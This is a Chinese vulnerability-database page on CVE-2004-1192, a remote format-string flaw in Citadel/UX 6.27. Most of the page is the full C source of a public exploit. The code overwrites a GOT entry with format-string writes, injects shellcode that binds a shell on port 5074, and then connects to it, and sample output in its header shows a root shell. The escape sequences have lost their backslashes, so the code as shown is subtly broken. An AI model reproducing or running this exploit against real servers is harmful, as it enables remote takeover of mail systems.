Citadel lprintf() 格式串漏洞
漏洞ID | 1108331 | 漏洞类型 | 格式化字符串 |
发布时间 | 2004-12-12 | 更新时间 | 2005-01-10 |
CVE编号 | CVE-2004-1192 |
CNNVD-ID | CNNVD-200501-106 |
漏洞平台 | Linux | CVSS评分 | 10.0 |
|漏洞来源
|漏洞详情
Citadel是一套邮件协作平台软件。Citadel/UX6.27及之前版本中lprintf函数存在格式串漏洞远程攻击者可利用出漏洞,通过发送格式化串到服务器,可执行任意代码。
|漏洞EXP
/* citadel_fsexp.c
*
* Citadel/UX v6.27 remote format string exploit
*
* Use: ./citadel_fsexp -h <host> [options]
*
* options:
* -h <arg> host or IP
* -t <arg> type of target system
* -l targets list
* -g <arg> syslog GOT address
* -r <arg> RET address
*
* coki@nosystem:~/audit$ ./citadel_fsexp -h localhost -t0
*
* Citadel/UX v6.27 remote format string exploit
* by CoKi <[email protected]>
*
* [*] host : localhost
* [*] system : Slackware Linux 10.0
* [*] syslog GOT address : 0x0809e9e8
* [*] RET address : 0xbfffd5fa
*
* [+] verifying host... OK
* [+] conecting... OK
* [+] building exploit... OK
* [+] sending exploit... OK
*
* [+] waiting for shell...
* [+] connecting to shell... OK
*
* [!] you have a shell :)
*
* Linux nosystem 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),
* 11(floppy)
*
* Tested in Slackware 10.0
*
* by CoKi <[email protected]>
* No System Group - http://www.nosystem.com.ar
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define PORT 504
#define SHELL 5074
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
char shellcode[] = /* 92 bytes by s0t4ipv6 */
"x31xc0" // xorl %eax,%eax
"x50" // pushl %eax
"x40" // incl %eax
"x89xc3" // movl %eax,%ebx
"x50" // pushl %eax
"x40" // incl %eax
"x50" // pushl %eax
"x89xe1" // movl %esp,%ecx
"xb0x66" // movb $0x66,%al
"xcdx80" // int $0x80
"x31xd2" // xorl %edx,%edx
"x52" // pushl %edx
"x66x68x13xd2" // pushw $0xd213
"x43" // incl %ebx
"x66x53" // pushw %bx
"x89xe1" // movl %esp,%ecx
"x6ax10" // pushl $0x10
"x51" // pushl %ecx
"x50" // pushl %eax
"x89xe1" // movl %esp,%ecx
"xb0x66" // movb $0x66,%al
"xcdx80" // int $0x80
"x40" // incl %eax
"x89x44x24x04" // movl %eax,0x4(%esp,1)
"x43" // incl %ebx
"x43" // incl %ebx
"xb0x66" // movb $0x66,%al
"xcdx80" // int $0x80
"x83xc4x0c" // addl $0xc,%esp
"x52" // pushl %edx
"x52" // pushl %edx
"x43" // incl %ebx
"xb0x66" // movb $0x66,%al
"xcdx80" // int $0x80
"x93" // xchgl %eax,%ebx
"x89xd1" // movl %edx,%ecx
"xb0x3f" // movb $0x3f,%al
"xcdx80" // int $0x80
"x41" // incl %ecx
"x80xf9x03" // cmpb $0x3,%cl
"x75xf6" // jnz <shellcode+0x40>
"x52" // pushl %edx
"x68x6ex2fx73x68" // pushl $0x68732f6e
"x68x2fx2fx62x69" // pushl $0x69622f2f
"x89xe3" // movl %esp,%ebx
"x52" // pushl %edx
"x53" // pushl %ebx
"x89xe1" // movl %esp,%ecx
"xb0x0b" // movb $0xb,%al
"xcdx80" // int $0x80
;
struct {
char *os;
int got;
int ret;
}targets[] =
{"Slackware Linux 10.0", 0x0809e9e8, 0xbfffd5fa};
int main(int argc, char *argv[]) {
char buffer[BUFFERSIZE], temp[BUFFERSIZE];
char opt, *host=NULL, *system=NULL, *p;
int sockfd, i, retaddr=0, gotaddr=0, targetnum=0;
unsigned int bal1, bal2, bal3, bal4;
int cn1, cn2, cn3, cn4;
struct hostent *he;
struct sockaddr_in dest_dir;
printf("n Citadel/UX v6.27 remote format string exploitn");
printf(" by CoKi <[email protected]>nn");
while ((opt = getopt(argc,argv,"h:g:r:t:l")) != EOF) {
switch (opt) {
case 'h':
host = optarg;
break;
case 'g':
gotaddr = strtoul(optarg,NULL,0);
break;
case 'r':
retaddr = strtoul(optarg,NULL,0);
break;
case 't':
targetnum = atoi(optarg);
if(targetnum != 0) {
printf(" invalid target number!nn");
exit(0);
}
system = targets[targetnum].os;
gotaddr = targets[targetnum].got;
retaddr = targets[targetnum].ret;
break;
case 'l':
printlist();
break;
default:
use(argv[0]);
break;
}
}
if(host == NULL) use(argv[0]);
if(gotaddr == 0 || retaddr == 0) use(argv[0]);
if(system == NULL) system = "unknown";
printf(" [*] hostttt: %sn", host);
printf(" [*] systemttt: %sn", system);
printf(" [*] syslog GOT addresstt: %010pn", gotaddr);
printf(" [*] RET addresstt: %010pnn", retaddr);
printf(" [+] verifying host...tt");
fflush(stdout);
if((he=gethostbyname(host)) == NULL) {
herror("Error");
printf("n");
exit(1);
}
printf("OKn");
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror("Error");
printf("n");
exit(1);
}
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(PORT);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
printf(" [+] conecting...tt");
fflush(stdout);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
printf("Closednn");
exit(1);
}
printf("OKn");
printf(" [+] building evil buffer...t");
fflush(stdout);
bzero(buffer, sizeof(buffer));
strcat(buffer, "x");
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &gotaddr);
strncat(buffer, temp, 4);
gotaddr++;
}
bal1 = (retaddr & 0xff000000) >> 24;
bal2 = (retaddr & 0x00ff0000) >> 16;
bal3 = (retaddr & 0x0000ff00) >> 8;
bal4 = (retaddr & 0x000000ff);
cn1 = bal4 - 16 - 1 - 15 - 50 - 92;
cn1 = check(cn1);
cn2 = bal3 - bal4;
cn2 = check(cn2);
cn3 = bal2 - bal3;
cn3 = check(cn3);
cn4 = bal1 - bal2;
cn4 = check(cn4);
p = buffer;
p += 17;
memset(p, 'x90', 50);
strcat(buffer, shellcode);
sprintf(temp, "%%%du%%27$n%%%du%%28$n%%%du%%29$n%%%du%%30$n",
cn1, cn2, cn3, cn4);
strcat(buffer, temp);
bzero(temp, sizeof(temp));
printf("OKn");
printf(" [+] sending evil buffer...t");
fflush(stdout);
recv(sockfd, temp, sizeof(temp), 0);
send(sockfd, buffer, strlen(buffer), 0);
send(sockfd, "n", 1, 0);
close(sockfd);
printf("OKnn");
printf(" [+] waiting for shell...n");
fflush(stdout);
sleep(2);
shell(host, SHELL);
}
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {
int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;
fcntl(sfd, F_SETFL, O_NONBLOCK);
res = connect(sfd, serv_addr, addrlen);
if (res >= 0) return res;
FD_ZERO(&rdf);
FD_ZERO(&wrf);
FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;
if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;
if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;
flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);
return 0;
}
return -1;
}
int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 1)
addr = addr + 256;
return addr;
}
void use(char *program) {
printf(" Use: %s -h <host> [options]n", program);
printf("n options:n");
printf(" -h <arg> host or IPn");
printf(" -t <arg> type of target systemn");
printf(" -l targets listn");
printf(" -g <arg> syslog GOT addressn");
printf(" -r <arg> RET addressnn");
exit(1);
}
void printlist(void) {
printf(" targetsn");
printf(" -------nn");
printf(" [0] %snn", targets[0].os);
exit(0);
}
void shell(char *host, int port) {
int sockfd, n;
char buff[BUFFERSIZE];
fd_set readfs;
struct hostent *he;
struct sockaddr_in dest_dir;
printf(" [+] connecting to shell...t");
fflush(stdout);
if((he=gethostbyname(host)) == NULL) {
herror("Error");
printf("n");
exit(1);
}
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror("Error");
printf("n");
exit(1);
}
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
printf("Closednn");
printf(" [-] failed! perhaps the target has down...nn");
exit(1);
}
printf("OKnn");
printf(" [!] you have a shell :)nn");
fflush(stdout);
send(sockfd, "uname -a; id;n", 14, 0);
while(1) {
FD_ZERO(&readfs);
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
if((n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
write(1, buff, n);
}
}
}
// milw0rm.com [2004-12-12]
|受影响的产品
Citadel/UX Citadel/UX 6.27
Citadel/UX Citadel/UX 6.26
Citadel/UX Citadel/UX 6.24
Citadel/UX Citadel/UX 6.23
Citadel/UX Citadel/UX 6.0 8
Citadel/UX Citadel/UX 6.0 7
|参考资料
来源:XF
名称:citadel-format-string(18429)
链接:http://xforce.iss.net/xforce/xfdb/18429
来源:MISC
链接:http://www.nosystem.com.ar/advisories/advisory-09.txt
来源:BUGTRAQ
名称:20041214Re:Citadel/UX<=v6.27RemoteFormatStringVulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110304986223400&w;=2
来源:BUGTRAQ
名称:20041213Citadel/UX<=v6.27RemoteFormatStringVulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110295469430696&w;=2
相关推荐: Microsoft Internet Explorer 5.0.1 – CSS Style Sheet Memory Corruption
Microsoft Internet Explorer 5.0.1 – CSS Style Sheet Memory Corruption 漏洞ID 1054476 漏洞类型 发布时间 2004-05-18 更新时间 2004-05-18 CVE编号 N/A …
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666